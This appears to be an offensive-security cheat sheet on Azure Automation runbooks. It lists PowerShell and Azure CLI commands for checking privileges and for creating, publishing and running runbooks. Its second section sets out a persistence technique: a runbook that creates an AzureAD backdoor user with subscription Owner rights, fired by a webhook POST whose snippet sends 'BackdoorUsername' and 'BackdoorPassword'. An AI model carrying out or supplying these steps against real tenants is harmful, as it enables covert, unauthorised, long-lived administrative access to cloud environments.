# Azure Services - Runbook Runbook must be **SAVED** and **PUBLISHED** before running it. ## Create a Runbook * Check user right for automation ```powershell az extension add --upgrade -n automation az automation account list # if it doesn't return anything the user is not a part of an Automation group az ad signed-in-user list-owned-objects ``` * Add the user to the "Automation" group: `Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose` * Get the role of a user on the Automation account: `Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/`. NOTE: Contributor or higher privileges accounts can create and execute Runbooks * List hybrid workers: `Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName ` * Create a Powershell Runbook: `Import-AzAutomationRunbook -Name -Path C:\Tools\username.ps1 -AutomationAccountName -ResourceGroupName -Type PowerShell -Force -Verbose` * Publish the Runbook: `Publish-AzAutomationRunbook -RunbookName -AutomationAccountName -ResourceGroupName -Verbose` * Start the Runbook: `Start-AzAutomationRunbook -RunbookName -RunOn Workergroup1 -AutomationAccountName -ResourceGroupName -Verbose` ## Persistence via Automation accounts * Create a new Automation Account * "Create Azure Run As account": Yes * Import a new runbook that creates an AzureAD user with Owner permissions for the subscription* * Sample runbook https://github.com/NetSPI/MicroBurst * Publish the runbook * Add a webhook to the runbook * Add the AzureAD module to the Automation account * Update the Azure Automation Modules * Assign "User Administrator" and "Subscription Owner" rights to the automation account * Trigger the webhook with a post request to create the new user ```powershell $uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d" $AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}}) $body = ConvertTo-Json -InputObject $AccountInfo $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body ``` ## References * []()